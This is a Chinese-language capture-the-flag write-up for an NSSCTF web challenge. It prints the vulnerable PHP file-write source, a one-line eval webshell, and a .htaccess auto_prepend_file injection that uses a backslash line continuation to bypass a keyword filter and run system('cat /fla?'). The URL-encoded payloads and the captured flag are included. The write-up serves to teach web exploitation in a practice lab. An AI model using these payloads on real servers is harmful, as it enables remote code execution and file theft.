开启靶场,复制粘贴到浏览器地址栏搜索:
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') ||
stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>
如果不是index.php页面,则会删除页面数据
如果没有传入content或filename参数则直接die
对传入参数content进行过滤,不能有on html type flag upload file字符
对传入参数filename进行过滤,filename只能由小写字母和.构成,否则die
跟最开始的过滤一样,如果不是index.php则会删除数据
将我们传入的内容content写入filename里面,但这里拼接了一个Hello world,会造成程序报错,所以得加个\
尝试filename为a.php,content(内容)为一句话木马:
<?php @eval($_POST['pass']);?>
用burp抓包改包:
失败了,尝试利用htaccess来进行获取flag
?filename=.htaccess&content=php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla?');?>\
htaccess中\的作用是拼接上下文的,相当于php_value auto_prepend_file.htaccess
(这里不知道为什么是fla?,但当时没有多想,或许用下面的方法也行?)
?filename=.htaccess&content=php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla'.'g');?>\
接下来去url编码得到字符串:
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A#%3C?php%20system('cat%20/fla?');?%3E%5C
这里不知道为什么得到的字符串会导致网站连接失败,但教程的字符串却不会,这两条字符串的解析结果明明都是一样的
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C
得到flag:
NSSCTF{8b957726-2260-41f7-b001-d12f04e225a9}